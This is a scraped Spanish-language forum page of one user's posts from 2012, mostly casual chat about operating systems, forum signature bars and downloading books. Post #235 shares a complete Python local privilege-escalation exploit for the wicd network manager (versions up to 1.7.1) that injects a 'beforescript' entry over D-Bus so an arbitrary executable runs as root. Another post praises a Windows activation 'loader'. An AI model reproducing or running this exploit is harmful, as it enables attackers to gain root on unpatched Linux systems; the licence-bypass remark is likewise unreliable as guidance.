Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Maldito karma

#231
No he encontrado el precio, pero si alguien quiere ver como se quema, aquí dejo el vídeo:  :xD

[youtube=425,350]http://www.youtube.com/watch?feature=player_embedded&v=GLxaVFBXbCk[/youtube]
#232
Cita de: Nortis en 19 Mayo 2012, 18:04 PM
Yo espero que la UE no haga nada y deja a MicroShop hacer lo que quiera. Haber si los usuarios de este SO empiezan a darse cuenta que hay SO muy bueno y libres. Lo unico que tiene Windows de bueno son los puesto de informáticos que se dedican a formatear y volver a instalar Windows porque con el paso del tiempo se vuelve lento e inestable, si no se le hace un buen mantenimiento.

Amén. Ubuntu en una tablet tiene que ser la leche.
#233
Dudas Generales / Re: User bars
9 Mayo 2012, 23:42 PM
Bueno, la cosa ha estado fucionando pero ahora parece que no le da la gana. Para mi que el servidor me tiene manía...  :xD
#234
Dudas Generales / Re: User bars
9 Mayo 2012, 23:36 PM
Thanx  :D Como podeis ver ha funcionado. Gracias.
#235
Bueno, después de un tiempo rondando por aquí, creo que ha llegado el momento de hacer un aporte mínimamente interesante.  :P  Así que aquí les dejo el script de python que permite hacer el escalonamiento de privilegios a través del gestor de conexión wicd.

Antes que nada, debo mencionar que no es de mi autoría. No voy a atribuirme un mérito que no me pertenece.

Saludos y que aproveche.


 #!/usr/bin/python
#wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt

try: from wicd import dbusmanager
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)

class Error(Exception):
def __init__(self, error):
self.errorStr=error

def __str__(self):
return repr(self.errorStr)


class Wicd():
wireless=None
daemon=None
versionString=None
def __init__(self):
try:
dbusmanager.connect_to_dbus()
dbusInterfaces = dbusmanager.get_dbus_ifaces()
self.wireless = dbusInterfaces["wireless"]
self.daemon = dbusInterfaces["daemon"]
except:
raise Error("Daemon is not running")
self.versionString = self.daemon.Hello()

def versionLessThan(self, version):
if int(self.versionString.replace(".",""))<=version:
return True
else:
return False


class Exploit():

def __init__(self, wicd, scriptPath):
self.wicd = wicd
self.scriptPath = scriptPath

def getNets(self):
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
while nets < 1:
self.wicd.wireless.Scan(True)
nets = self.wicd.wireless.GetNumberOfNetworks()
for net in range(nets):
yield net

def exploit(self):

for net in self.getNets(): pass # Priming scan.

try:
self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")

try:
self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
except:
raise Error("Unable to exploit (SetWirelessProperty() failed.)")

propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property
vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)

# TODO: Does this need a try construct?
self.wicd.wireless.ReloadConfig()

for net in self.getNets(): # Implicit, but required re-scan.
if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
self.wicd.wireless.ConnectWireless(net)
return True
raise Error("Unable to exploit (Lost the network we were using)")


def usage():
print "[!] Usage:"
print " ( -h, --help ):"
print " Print this message."
print " ( --scriptPath= ): Required, executable to run as root."
print " --scriptPath=/some/path/to/executable.sh"

def main():
print "[$] WICD =< 1.7.0Day"
try:
opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
except getopt.GetoptError, err:
# Print help information and exit:
print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
usage()
sys.exit(0)

scriptPath=None

for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit(0)
elif opt =="--scriptPath":
scriptPath=arg
else:
# I would be assuming to say we'll never get here.
print "[!] Parameter error."
usage()
sys.exit(0)

if not scriptPath:
print "[!] Parameter error: scriptPath not set."
usage()
sys.exit(0)

try:
wicd = Wicd()
except Error as error:
print "[!] WICD Error: %s" % (error.errorStr)
exit(0)
print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)

if not wicd.versionLessThan(171):
print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."

exploit = Exploit(wicd, scriptPath)

print "[*] Attempting to exploit:"

try:
exploit.exploit()
except Error as error:
print "[!] Exploit Error: %s" % (error.errorStr)
exit(0)
print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
main()
#236
Dudas Generales / User bars
8 Mayo 2012, 01:50 AM
Hola

Por favor, alguien podría explicarme como puedo poner una barra de estas en mi firma? Gracias

#237
Chico, acabo de probar el programa que te dije y me parece que solo te quedan 2 opciones:  :rolleyes:

A) Cogerlo prestado de la biblioteca municipal.
B) Comprarlo.
#238
Cita de: beholdthe en 30 Abril 2012, 14:51 PM
He intentado montar con Virtualbox la 7 profesional de 32 bits y me ha salido un mensajito en ingles que dice algo asi como que me vaya a tomar por el culo.
A ver si alguien contesta a los 2 mensajes que he puesto, el del tamaño y este.

Yo he instalado el home premium X86 en VBox y no me ha dado ningún problema. Y el loader funciona de maravilla.
#239
Cita de: nichihack en 29 Abril 2012, 14:42 PM
:huh: pero si es el que he puesto yo Alejandro....

Creo que alguien no se lee mucho los posts... :xD

¬¬ Tú preguntabas el "cómo" (jodwnloader... ), el "que" es lo que has dicho y ya lo tenemos. Yo trato de ofrecerte otro "cómo". Y tú en ningún momento has hablado del GOOGLE BOOK DOWNLOADER.  :P
#240
Alavado seas Elektro H@acker!  ;-)